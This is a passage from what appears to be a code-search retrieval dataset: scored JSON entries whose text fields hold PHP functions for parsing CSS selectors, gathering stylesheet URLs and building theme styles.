= 'Reset';\n\t\t\t}\n\t\t\t// Else parse the line\n\t\t\telse{\n\t\t\t\t// Line begins with \"@media\" = parse this as a @media-line\n\t\t\t\tif(substr(trim($line), 0, 6) == '@media'){\n\t\t\t\t\t$this->parse_media_line($line);\n\t\t\t\t\t$this->selector_stack = array();\n\t\t\t\t\t$debug['type'] = 'Media';\n\t\t\t\t\t$debug['stack'] = 'Reset';\n\t\t\t\t}\n\t\t\t\t// Line begins with \"@import\" = Parse @import rule\n\t\t\t\telseif(substr(trim($line), 0, 7) == '@import'){\n\t\t\t\t\t$this->parse_import_line($line);\n\t\t\t\t\t$this->selector_stack = array();\n\t\t\t\t\t$debug['type'] = 'Import';\n\t\t\t\t\t$debug['stack'] = 'Reset';\n\t\t\t\t}\n\t\t\t\t// Line begins with \"@css\" = Parse as literal css\n\t\t\t\telseif(substr(trim($line), 0, 4) == '@css'){\n\t\t\t\t\t$this->parse_css_line($line);\n\t\t\t\t\t$this->selector_stack = array();\n\t\t\t\t\t$debug['type'] = 'CSS';\n\t\t\t\t\t$debug['stack'] = 'Reset';\n\t\t\t\t}\n\t\t\t\t// Else parse normal line\n\t\t\t\telse{\n\t\t\t\t\t// Next line is indented = parse this as a selector\n\t\t\t\t\tif($nextline != '' && $nextlevel > $level){\n\t\t\t\t\t\t$this->parse_selector_line($line, $level);\n\t\t\t\t\t\t$debug['type'] = 'Selector';\n\t\t\t\t\t\t$debug['stack'] = $this->selector_stack;\n\t\t\t\t\t}\n\t\t\t\t\t// Else parse as a property-value-pair\n\t\t\t\t\telse{\n\t\t\t\t\t\t$this->parse_property_line($line);\n\t\t\t\t\t\t$this->reset_current_property();\n\t\t\t\t\t\t$debug['type'] = 'Property/Value';\n\t\t\t\t\t\t$debug['stack'] = $this->selector_stack;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// If the next line is outdented, slice the selector stack accordingly\n\t\t\tif($nextline != '' && $nextlevel < $level){\n\t\t\t\t$this->selector_stack = array_slice($this->selector_stack, 0, $nextlevel);\n\t\t\t\t$this->current['se'] = end($this->selector_stack);\n\t\t\t}\n\t\t\t// Debugging stuff\n\t\t\t$debug['media'] = $this->current['me'];\n\t\t\t$this->debuginfo[] = $debug;\n\t\t\tunset($debug);\n\t\t}\n\t\t// Dump $this->parsed when configured to do so\n\t\tif($this->debug){\n\t\t\tprint_r($this->parsed);\n\t\t}\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "b5d943c6e6f2485650e40fac5572f45a", "score": "0.49504918", "text": "public function generar_estilos($css);", "title": "" }, { "docid": "a1e99de39f7ea706527afe8d9d5ea7a1", "score": "0.4949275", "text": "public function applyStylesheet($stylesheet) {\n\t\t$stylesheet = (array) $stylesheet;\n\t\tforeach($stylesheet as $ss) {\n\t\t\tforeach($this->parseStylesheet($ss) as $arr) {\n\t\t\t\tlist($selector, $style) = $arr;\n\t\t\t\t$this->applyRule($selector, $style);\n\t\t\t}\n\t\t}\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "e1ec9ac65a5ff8a3ea4afe57b5b09388", "score": "0.4942501", "text": "protected function parseSelectors( $selector )\n\t{\n\t\t// Eliminar espacios, tab repetidos\n\t\t$selector = preg_replace( $this->whitesRepeat, \"\\x20\", trim( $selector ) );\n\t\t\n\t\t// Eliminar saltos de línea y tabs\n\t\t$selector = preg_replace( $this->tabnewsline, \"\", $selector );\n\t\t\n\t\t// Reeplazar comas repetidas\n\t\t$selector = preg_replace( $this->commaRepeat, \"\\x2C\", $selector );\n\t\t\n\t\t// separar por comas\n\t\t$parts = preg_split( $this->splitComma, $selector );\n\t\t$selectors = [];\t\t$i = 0;\n\t\t\n\t\t// Recoorer\n\t\tforeach( $parts as &$selector ){\n\t\t\t// Eliminar espacios en blanco\n\t\t\t$selector = trim( $selector );\n\t\t\t\t\t\t\n\t\t\t// Separar por esparios > + ~\n\t\t\t$preg = preg_match_all( '/'. $this->master . '/is', $selector, $selector, PREG_SET_ORDER );\n\t\t\t\n\t\t\tif( $preg ){\n\t\t\t\t// Recorrer\n\t\t\t\tforeach( $selector as $item ){\n\t\t\t\t\t// * Global\n\t\t\t\t\tif( !empty( $item[ 4 ] ) && substr( $item[ 4 ], 0, 1 ) === \"*\" && empty( $item[ 2 ] ) ){\n\t\t\t\t\t\t$item[ 2 ] = substr( $item[ 4 ], 0, 1 );\n\t\t\t\t\t\t$item[ 4 ] = substr( $item[ 4 ], 1 );\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// Ordenar \n\t\t\t\t\tif( isset( $item[0] ) && !empty( $item[0] ) ){\t\t\t\t\t\n\t\t\t\t\t\t// vars\n\t\t\t\t\t\t$sel = array();\t\t$operator = $item[1];\n\t\t\t\t\t\t$sel[ \"type\" ]\t\t= preg_replace( $this->whitesRepeat, '', $operator );\n\t\t\t\t\t\t\n\t\t\t\t\t\t// selector div#id span.class\n\t\t\t\t\t\tif( !empty( $item[2] ) ){\n\t\t\t\t\t\t\t// Separar\n\t\t\t\t\t\t\t$sel[ \"val\" ] = preg_replace( $this->splitSelectorT, \"\", $item[2] );\n\t\t\t\t\t\t\t$sel[ \"tag\" ] = preg_replace( $this->splitSelectorN, \"$1\", $item[2] );\n\t\t\t\t\t\t\t$control = $sel[ \"val\" ] == $item[2];\n\t\t\t\t\t\t\t$isId = !!preg_match( '/\\x23/', $item[2] );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$sel[ \"key\" ]\t\t\t= $control ? NULL : $isId ? \"id\" : \"class\";\t\n\t\t\t\t\t\t\t$sel[ \"operatorS\" ]\t\t= $isId ? \"=\" : \"*=\";\n\t\t\t\t\t\t\t$sel[ \"idId\" ] \t\t\t= $isId;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif( $control ){\n\t\t\t\t\t\t\t\t$sel[ \"tag\" ] = $sel[ \"val\" ];\n\t\t\t\t\t\t\t\t$sel[ \"val\" ] = $sel[ \"key\" ] = $sel[ \"operatorS\" ]\t= NULL;\t\n\t\t\t\t\t\t\t}\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// [attr=\"value\"]\t[attr='value']\t[attr=value]\n\t\t\t\t\t\tif( !empty( $item[ 3 ] ) ){\n\t\t\t\t\t\t\t// preg_math\n\t\t\t\t\t\t\t$match = preg_match_all( '/'. $this->attrs . '/is', $item[ 3 ], $attrs, PREG_SET_ORDER );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif( $match )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// attrs\n\t\t\t\t\t\t\t\t$sel[ 'attrs' ] = [];\t$addPerAttr = false;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tforeach( $attrs as $matche )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$newAttr = array( \n\t\t\t\t\t\t\t\t\t\t\"attr\"\t\t=> $matche[ 1 ],\n\t\t\t\t\t\t\t\t\t\t\"operator\"\t=> @$matche[ 2 ],\n\t\t\t\t\t\t\t\t\t\t\"value\"\t\t=> @$matche[ 3 ] != \"\" ? $matche[ 3 ]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t: ( @$matche[ 4 ] != \"\" ? @$matche[ 4 ]\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t: @$matche[ 5 ] )\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tif( ( ( strtolower( $newAttr[ \"attr\" ] ) == \"id\" )\n\t\t\t\t\t\t\t\t\t\t|| ( strtolower( $newAttr[ \"attr\" ] ) == \"class\" ) )\n\t\t\t\t\t\t\t\t\t\t&& !array_key_exists( 'key', $sel ) ){\n\t\t\t\t\t\t\t\t\t\t// \n\t\t\t\t\t\t\t\t\t\t$sel[ \"key\" ]\t\t\t= $newAttr[ \"attr\" ];\n\t\t\t\t\t\t\t\t\t\t$sel[ \"val\" ]\t\t\t= $newAttr[ \"value\" ];\n\t\t\t\t\t\t\t\t\t\t$sel[ \"operatorS\" ]\t\t= $newAttr[ \"operator\" ];\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tunset( $newAttr );\n\t\t\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t// Agregar\n\t\t\t\t\t\t\t\t\t\t$sel[ 'attrs' ][] = $newAttr;\t\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t// :eq|gt|first|last( +2 | -1 | 2 | +3n | -3n | odd | event )\n\t\t\t\t\t\tif( !empty( $item[ 4 ] ) ){\n\t\t\t\t\t\t\t// separar por :\n\t\t\t\t\t\t\t$filters = preg_split( '/[:]+/is', $item[ 4 ] );\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t// attrs\n\t\t\t\t\t\t\t$sel[ 'filters' ] = [];\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tforeach( $filters as $filter )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// nada\n\t\t\t\t\t\t\t\tif( empty( $filter ) || \n\t\t\t\t\t\t\t\t\t!preg_match_all( '/'. $this->subfunction . '/is', $filter, $function, PREG_SET_ORDER ) )\n\t\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t// Function Actual\n\t\t\t\t\t\t\t\t$current = NULL;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t// Recorrer\n\t\t\t\t\t\t\t\tforeach( $function as $func ){\n\t\t\t\t\t\t\t\t\tif( !empty( $func[ 0 ] ) ){\n\t\t\t\t\t\t\t\t\t\t$current = $func;\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t// nada\n\t\t\t\t\t\t\t\tif( is_null( $current ) ) continue;\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$filterArray = array(\n\t\t\t\t\t\t\t\t\t\"function\"\t\t=> ':'. $current[1],\t\t// :eq\n\t\t\t\t\t\t\t\t\t\"value\"\t\t\t=> @$current[2],\t// event, odd, n, (+-)n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\"subfunction\"\t=> NULL,\t\t\t// (odd, event)\n\t\t\t\t\t\t\t\t\t\"signo\"\t\t\t=> NULL,\t\t\t// +-\n\t\t\t\t\t\t\t\t\t\"number\"\t\t=> NULL\t\t\t\t// 5\n\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tswitch ( $filterArray[\"value\"] ) {\n\t\t\t\t\t\t\t\t\tcase \"even\"\t:\n\t\t\t\t\t\t\t\t\tcase \"odd\" \t\t:\n\t\t\t\t\t\t\t\t\t\t$filterArray[\"subfunction\"] = 'odd-even';\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t// +2n\n\t\t\t\t\t\t\t\t\tcase !!preg_match( '/^([+-]?[\\d]*n)$/', $filterArray[\"value\"] ) :\n\t\t\t\t\t\t\t\t\t\t$filterArray[\"signo\"]\t= @$current[4];\n\t\t\t\t\t\t\t\t\t\t$filterArray[\"number\"]\t= @$current[5];\n\t\t\t\t\t\t\t\t\t\t$filterArray[\"subfunction\"] = 'n';\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t// 2n+3\n\t\t\t\t\t\t\t\t\tcase !!preg_match( '/^([+-]?[\\d]*n[+-]?[\\d]+)$/', $filterArray[\"value\"] ) :\n\t\t\t\t\t\t\t\t\t\t$filterArray[\"signo\"]\t= @$current[6];\n\t\t\t\t\t\t\t\t\t\t$filterArray[\"number\"]\t= @$current[5];\n\t\t\t\t\t\t\t\t\t\t$filterArray[\"start\"]\t= @$current[7];\t\n\t\t\t\t\t\t\t\t\t\t$filterArray[\"subfunction\"] = 'n*';\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t// 2, -4, +6\n\t\t\t\t\t\t\t\t\tcase !!preg_match( '/^[+-]?[\\d]+$/', $filterArray[\"value\"] ) :\n\t\t\t\t\t\t\t\t\t\t$filterArray[\"signo\"]\t= @$current[6];\n\t\t\t\t\t\t\t\t\t\t$filterArray[\"number\"]\t= @$current[7];\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tbreak;\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t// add\n\t\t\t\t\t\t\t\t$sel[ 'filters' ][] = $filterArray;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Pasar a minúsculas\n\t\t\t\t\t\t$sel = array_map( \"str2strtolower\", $sel );\n\t\t\t\t\t\t\n\t\t\t\t\t\t// merge\n\t\t\t\t\t\t$sel = array_merge( $this->defaulSelector, $sel );\n\t\t\t\t\t\t\n\t\t\t\t\t\t$selectors[ $i ][] = $sel;\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$i++;\n\t\t}\n\t\t\n\t\t// save last results\n\t\tif ( count( $selectors ) > 0 )\n\t\t{\n\t\t\t$this->selectors = $selectors;\n\t\t} //echo '<pre>', print_r( $this->selectors, true ), '</pre>'; exit;\n\t}", "title": "" }, { "docid": "0383ad993e3572f3d4d25134032df852", "score": "0.49412662", "text": "public function getCssHrefs()\n\t{\n\t\t$absBase = $this->getAbsoluteBase();\n\t\t$relBase = $this->getRelativeBase();\n\t\t\n\t\t$hrefs = array();\n\t\t$linkElems = $this->doc->getElementsByTagName('link');\n\t\tforeach ($linkElems as $linkElem)\n\t\t{\n\t\t\t// Check if this is a stylesheet\n\t\t\tif ($linkElem->getAttribute('rel') == 'stylesheet')\n\t\t\t{\n\t\t\t\t$href = trim($linkElem->getAttribute('href'));\n\t\t\t\tif (!empty($href))\n\t\t\t\t{\n\t\t\t\t\tif (preg_match('|^[^/]*//|AD', $href))\n\t\t\t\t\t{}\n\t\t\t\t\telse if ($href[0] == '?' || $href[0] == '#')\n\t\t\t\t\t{\n\t\t\t\t\t\t$tmp = $this->getCurrentUrl();\n\t\t\t\t\t\tif (($pos = strpos($tmp, $href[0])) !== false)\n\t\t\t\t\t\t\t$tmp = substr($tmp, 0, $pos);\n\t\t\t\t\t\t$href = $tmp . $href;\n\t\t\t\t\t}\n\t\t\t\t\telse if ($href[0] == '/')\n\t\t\t\t\t\t$href = $absBase . $href;\n\t\t\t\t\telse\n\t\t\t\t\t\t$href = $relBase . '/' . $href;\n\t\t\t\t\t\n\t\t\t\t\tif (!in_array($href, $hrefs))\n\t\t\t\t\t\t$hrefs[] = $href;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $hrefs;\n\t}", "title": "" }, { "docid": "38377a99f1d5159eb582f24e7e9bc010", "score": "0.49273348", "text": "public static function get_css_post( $stylesheet = '' ) {\n\t\treturn wp_get_custom_css_post( $stylesheet );\n\t}", "title": "" }, { "docid": "f8aa7451f96647a0d756b201231dd098", "score": "0.4915498", "text": "public function get()\n {\n return $this->stylesheets;\n }", "title": "" }, { "docid": "1d708beb9c6f0af285b1c876e53649aa", "score": "0.49142852", "text": "public function linkCSSClasses();", "title": "" }, { "docid": "c9d0095144585e29f8471a6b3085ce30", "score": "0.49133787", "text": "protected function parse_selector($selector_string) {\n $pattern = \"/([\\w-:\\*]*)(?:\\#([\\w-]+)|\\.([\\w-]+))?(?:\\[@?(!?[\\w-]+)(?:([!*^$]?=)[\\\"']?(.*?)[\\\"']?)?\\])?([\\/, ]+)/is\";\n preg_match_all($pattern, trim($selector_string).' ', $matches, PREG_SET_ORDER);\n $selectors = array();\n $result = array();\n //print_r($matches);\n\n foreach ($matches as $m) {\n $m[0] = trim($m[0]);\n if ($m[0]==='' || $m[0]==='/' || $m[0]==='//') continue;\n // for borwser grnreated xpath\n if ($m[1]==='tbody') continue;\n\n list($tag, $key, $val, $exp, $no_key) = array($m[1], null, null, '=', false);\n if(!empty($m[2])) {$key='id'; $val=$m[2];}\n if(!empty($m[3])) {$key='class'; $val=$m[3];}\n if(!empty($m[4])) {$key=$m[4];}\n if(!empty($m[5])) {$exp=$m[5];}\n if(!empty($m[6])) {$val=$m[6];}\n\n // convert to lowercase\n if ($this->dom->lowercase) {$tag=strtolower($tag); $key=strtolower($key);}\n //elements that do NOT have the specified attribute\n if (isset($key[0]) && $key[0]==='!') {$key=substr($key, 1); $no_key=true;}\n\n $result[] = array($tag, $key, $val, $exp, $no_key);\n if (trim($m[7])===',') {\n $selectors[] = $result;\n $result = array();\n }\n }\n if (count($result)>0)\n $selectors[] = $result;\n return $selectors;\n }", "title": "" }, { "docid": "a6fa907ad349850e5971aee075f5bb09", "score": "0.4907737", "text": "public function getStylesheet()\n {\n return $this->stylesheet;\n }", "title": "" }, { "docid": "3b17a4dd52f630dddcaed292aec8bc97", "score": "0.49015075", "text": "private static function get_stylesheet($mode = 'bydir', $id = null) {\n if ($id===null) {\n $id = Themify_Builder_Model::get_ID();\n }\n $path = self::get_stylesheet_dir($mode);\n if ('bydir' === $mode && !Themify_Filesystem::is_dir($path)) {\n wp_mkdir_p( $path);\n }\n\n /**\n * Filters the return URL or directory path including the file name.\n *\n * @param string $stylesheet Path or URL for the global styling stylesheet.\n * @param string $mode What was being retrieved, 'bydir' or 'byurl'.\n * @param int $id ID of the template, template part or content builder that we're fetching.\n *\n */\n return array('id'=>$id,'url'=>apply_filters('themify_builder_get_stylesheet', \"$path/themify-builder-$id-generated.css\", $mode, $id));\n }", "title": "" }, { "docid": "58e3411f508cea525526628ec45e35ce", "score": "0.4901308", "text": "public function get_stylesheet_urls() {\n global $CFG;\n\n // We need to tell the CSS that is being included (for example the standard\n // theme CSS) which theme it is being included for. Prepare the necessary param.\n $param = '?for=' . $this->name;\n\n // Stylesheets, in order (standard, parent, this - some of which may be the same).\n $stylesheets = array();\n if ($this->name != 'standard' && $this->standardsheets) {\n $stylesheets[] = $CFG->httpsthemewww . '/standard/styles.php' . $param;\n }\n if (!empty($this->parent)) {\n $stylesheets[] = $CFG->httpsthemewww . '/' . $this->parent . '/styles.php' . $param;\n }\n $stylesheets[] = $CFG->httpsthemewww . '/' . $this->name . '/styles.php' . $param;\n\n // Additional styles for right-to-left languages, if applicable.\n if (right_to_left()) {\n $stylesheets[] = $CFG->httpsthemewww . '/standard/rtl.css';\n\n if (!empty($this->parent) && file_exists($CFG->themedir . '/' . $this->parent . '/rtl.css')) {\n $stylesheets[] = $CFG->httpsthemewww . '/' . $this->parent . '/rtl.css';\n }\n\n if (file_exists($this->dir . '/rtl.css')) {\n $stylesheets[] = $CFG->httpsthemewww . '/' . $this->name . '/rtl.css';\n }\n }\n\n // If the theme wants pluginsheets, get them included in the first (most\n // general) stylesheet we are including. That is, process them with the\n // standard CSS if we are using that, else with the parent CSS, else with\n // our own CSS.\n if (!empty($this->pluginsheets)) {\n $stylesheets[0] .= '&amp;pluginsheets=1';\n }\n\n return $stylesheets;\n }", "title": "" }, { "docid": "97a7608616d79167c10a1525f53f298e", "score": "0.48753026", "text": "private function getCssThemeAndVariables()\n {\n $theme = $this->fs->get(base_path(self::THEME_PATH));\n\n //capture and remove css variables defined in :root\n preg_match('/:root {(.+?)}/s', $theme, $matches);\n $theme = trim(preg_replace('/:root {(.+?)}/s', '', $theme));\n\n //transform css variables into dot notation keys\n $theme = preg_replace_callback('/var\\(--(.+?)\\)/', function ($matches) {\n return str_replace('-', '.', $matches[1]);\n }, $theme);\n\n $lines = explode(PHP_EOL, trim($matches[1]));\n\n //transform css variables into key => value pairs\n $variables = array_map(function ($line) {\n $pair = explode(':', $line);\n $key = trim(str_replace(['--', '-'], ['', '.'], $pair[0]));\n $value = str_replace(';', '', trim($pair[1]));\n return ['name' => $key, 'display_name' => $this->makeColorDisplayName($key), 'value' => $value];\n }, $lines);\n\n return [$theme, $variables];\n }", "title": "" }, { "docid": "bf6d3d7f54530713a48387a630ca5944", "score": "0.48748484", "text": "public function findStylesheetUrls(DOMDocument $dom)\n {\n $xpath = new DOMXpath($dom);\n $nodes = $xpath->query(\"*/link[@type='text/css']\");\n $links = [];\n foreach ($nodes as $node) {\n $links[] = $node->getAttribute('href');\n }\n\n return $links;\n }", "title": "" }, { "docid": "ff32a7302f6bb31f66e2b1c5ee9d496d", "score": "0.48740014", "text": "public function css_styles() {\n return;\n }", "title": "" }, { "docid": "85b8ba42822fa596a644401269cca28b", "score": "0.4871952", "text": "function css()\n {\n if (!empty($this->css))\n {\n foreach($this->css as $file)\n {\n echo '<link rel=\"stylesheet\" href=\"' . $file . '\" />' . \"\\n\";\n }\n }\n }", "title": "" }, { "docid": "08abd85548d856ee0d10e8e7fdf8c6c5", "score": "0.48653355", "text": "function _css() {\n \t if ( ! $this->_load_praized() || ! $this->PraizedXHTML )\n \t return FALSE;\n \t $theme = $this->_config['theme'];\n \t if ( ! defined('WPLANG') || WPLANG == '' || ! isset($this->PraizedXHTML->themes[WPLANG]) )\n \t \t$lang = 'en';\n \t else\n \t \t$lang = WPLANG;\n \t if ( empty($theme) || ! isset($this->PraizedXHTML->themes[$lang][$theme]) )\n \t $theme = $this->PraizedXHTML->defaultTheme;\n \t return $this->PraizedXHTML->css($this->_praized_inc_url, $theme, $this->version);\n \t}", "title": "" }, { "docid": "4cd653f15512b38d691c5e546ef36365", "score": "0.48647627", "text": "function setCss($selector = false, $attributes = array())\n{\n $print = '';\n if ($selector && !empty($attributes)) {\n $print = $selector.'{';\n foreach ($attributes as $key => $value) {\n $print .= $key.':'.$value.';';\n }\n $print .= '}';\n }\n return $print;\n}", "title": "" }, { "docid": "bae87aa0d2939152aa107c2255db78af", "score": "0.4850078", "text": "protected function styles()\n {\n $styles = $this->fattureInCLoud->parseStyles();\n\n $bar = $this->output->createProgressBar(count($styles));\n $bar->start();\n\n $skipped = [];\n\n $styles->each(function ($style) use ($bar, &$skipped) {\n try {\n Style::firstOrCreate($style->toArray());\n } catch (\\Exception $exception) {\n $skipped[] = $style;\n }\n\n $bar->advance();\n });\n\n $bar->finish();\n\n return $skipped;\n }", "title": "" }, { "docid": "c64202aa124f4a901d7131b698116a28", "score": "0.48490188", "text": "public function styles() {\n\t\t$styles = array(\n\t\t\tarray(\n\t\t\t\t'handle' => 'my_styles_css',\n\t\t\t\t'src' => $this->get_base_url() . '/css/my_styles.css',\n\t\t\t\t'version' => $this->_version,\n\t\t\t\t'enqueue' => array(\n\t\t\t\t\tarray( 'field_types' => array( 'poll' ) )\n\t\t\t\t)\n\t\t\t)\n\t\t);\n\n\t\treturn array_merge( parent::styles(), $styles );\n\t}", "title": "" }, { "docid": "b8be87d4db3249c43b3423b10e0a4fe0", "score": "0.48484626", "text": "function load_style() {\n\t}", "title": "" }, { "docid": "f1b07e9cbba002e54f67d58cff82c6d5", "score": "0.4845042", "text": "function crum_clean_style_tag($input)\n{\n preg_match_all(\"!<link rel='stylesheet'\\s?(id='[^']+')?\\s+href='(.*)' type='text/css' media='(.*)' />!\", $input, $matches);\n // Only display media if it's print\n $media = $matches[3][0] === 'print' ? ' media=\"print\"' : '';\n return '<link rel=\"stylesheet\" href=\"' . $matches[2][0] . '\"' . $media . '>' . \"\\n\";\n}", "title": "" }, { "docid": "337ccc7bd41f3f5c7a63ac2fca11c162", "score": "0.48427626", "text": "function roots_clean_style_tag($input) {\n\tpreg_match_all(\"!<link rel='stylesheet'\\s?(id='[^']+')?\\s+href='(.*)' type='text/css' media='(.*)' />!\", $input, $matches);\n\t// Only display media if it's print\n\t$media = $matches[3][0] === 'print' ? ' media=\"print\"' : '';\n\treturn '<link rel=\"stylesheet\" href=\"' . $matches[2][0] . '\"' . $media . '>' . \"\\n\";\n}", "title": "" }, { "docid": "3c48f29a0665c0a92d5f4e0a15b06619", "score": "0.48385513", "text": "private function parse()\n {\n $matches = self::parseInput($this->source);\n foreach ($matches as $match) {\n // Get format\n switch ($match['kind']) {\n // ENTITY node\n case '!ENTITY':\n // Trim quotation marks and white space.\n $this->entities['%' . $match['name'] . ';'] =\n trim($match['value'], \" \\t\\n\\r\\0\\x0B\\\"\");\n break;\n // ATTLIST node\n case '!ATTLIST':\n $this->attrLists[$match['name']] = $match['value'];\n break;\n // ELEMENT node\n case '!ELEMENT':\n $this->elements[$match['name']] = $match['value'];\n break;\n default:\n break;\n }\n }\n }", "title": "" }, { "docid": "ab837b6808b08815ee5a576fbd4f0b43", "score": "0.4836469", "text": "public static function get_css() {\n return array('mnhnl_dynamic_2.css');\n }", "title": "" }, { "docid": "4c7f46e98f2e6e80151b34daf55d03f4", "score": "0.48335403", "text": "private static function buildCss()\n\t{\n\t\trequire_once 'HTML/Template/IT.php';\n\t\t$tpl = new \\HTML_Template_IT(ROOT_FOLDER . 'css');\n\t\t$tpl->loadTemplatefile('from-design-to-web-template.css');\n\t\t$tpl->setCurrentBlock('css');\n\t\t$tpl->setVariable(array(\n\t\t\t'BEGINNING-OF-URL' => BEGINNING_OF_URL\n\t\t));\n\t\t$tpl->parse('css');\n\t\treturn $tpl->get('css');\n\t}", "title": "" }, { "docid": "4c7f46e98f2e6e80151b34daf55d03f4", "score": "0.48335403", "text": "private static function buildCss()\n\t{\n\t\trequire_once 'HTML/Template/IT.php';\n\t\t$tpl = new \\HTML_Template_IT(ROOT_FOLDER . 'css');\n\t\t$tpl->loadTemplatefile('from-design-to-web-template.css');\n\t\t$tpl->setCurrentBlock('css');\n\t\t$tpl->setVariable(array(\n\t\t\t'BEGINNING-OF-URL' => BEGINNING_OF_URL\n\t\t));\n\t\t$tpl->parse('css');\n\t\treturn $tpl->get('css');\n\t}", "title": "" }, { "docid": "c308beb59e4750ec95fab8f52818ba92", "score": "0.48158154", "text": "public function parse()\n {\n $counter = [];\n $html = $this->source->get();\n\n if (!$html) throw new ParserException('Source is empty');\n\n preg_match_all($this->constructMask(), $html, $matches);\n foreach ($matches[1] as $match) {\n (isset($counter[$match])) ? $counter[$match]++ : $counter[$match] = 1;\n }\n\n ksort($counter);\n ($this->reporter) ? $this->reporter->report($counter) : $counter;\n }", "title": "" }, { "docid": "d7d98afc1fb69de00df1d33c13f03bcf", "score": "0.48074606", "text": "function include_css() \n\t{\n\t global $post;\n\n\t if ( $post && strstr( $post->post_content, '[slam-display-results]' ) ) {\n\t echo '<link rel=\"stylesheet\" href=\"' .$this->plugin_url . '/slam-manager.css\" />';\n\t }\n\t}", "title": "" }, { "docid": "631111942c711066c5a2cbfe9d43c75f", "score": "0.48031363", "text": "function getCSSFiles() {\n\t\t\t\n\t\t\t// Checking if the recursive option si set\n\t\t\tif ($this->conf['recursive'] == 1) {\n\t\t\t\t\n\t\t\t\t// Storage\n\t\t\t\t$cssArray = array();\n\t\t\t\t\n\t\t\t\t// Check each top page\n\t\t\t\t// MLC start from end page\n\t\t\t\t$pages\t\t\t= $GLOBALS['TSFE']->config['rootLine'];\n\t\t\t\t$pages\t\t\t= array_reverse( $pages );\n\n\t\t\t\tforeach($pages as $topPage) {\n\t\t\t\t\t// Check if a stylesheet is specified\n\t\t\t\t\t// Thanx to Wolfgang Klinger for the debug\n\t\t\t\t\tif ($topPage['tx_cssselect_stylesheets'])\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t// Add CSS files\n\t\t\t\t\t\t$cssArray = array_merge($cssArray,explode(',',$topPage['tx_cssselect_stylesheets']));\n\t\t\t\t\t}\n\n\t\t\t\t\t// MLC stop recursion\n\t\t\t\t\tif ($topPage['tx_cssselect_stop'])\n\t\t\t\t\t{\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if (!empty($GLOBALS['TSFE']->page['tx_cssselect_stylesheets'])) {\n\t\t\t\t\n\t\t\t\t// Get page only stylesheets\n\t\t\t\t$cssArray = explode(',',$GLOBALS['TSFE']->page['tx_cssselect_stylesheets']);\n\t\t\t}\n\t\t\t\n\t\t\t// Return CSS files\n\t\t\treturn $cssArray;\n\t\t}", "title": "" }, { "docid": "6f9a01569980957ca7df6e6a1a65ef7f", "score": "0.47921386", "text": "public function load(string $style){\r\n\t\t\t$this->cssData = $this->parse($style);\r\n\t\t}", "title": "" }, { "docid": "5720856ccea8683e26836df6b5bc76e6", "score": "0.4788685", "text": "public function getCss(): Collection\n {\n }", "title": "" }, { "docid": "6cc3ce60d7d5824144c7730bd38efbeb", "score": "0.47761315", "text": "public function __stylesheets() {\n\t\tif (isset(self::$__stylesheets))\n\t\t\treturn self::$__stylesheets;\n\n\t\t$stylesheets = array();\n\n\t\tforeach (array(get_template_directory(), get_stylesheet_directory()) as $i => $base) {\n\t\t\t$baseUri = 0 == $i ? get_template_directory_uri() : get_stylesheet_directory_uri();\n\n\t\t\tforeach (glob($base . \"/*.css\") as $stylesheet) \n\t\t\t\t$stylesheets[basename($stylesheet, \".css\")] = $baseUri . \"/\" . basename($stylesheet);\n\t\t}\n\n\t\treturn (self::$__stylesheets = $stylesheets);\n\t}", "title": "" }, { "docid": "81b47fef283d94d668899a09460fe9e5", "score": 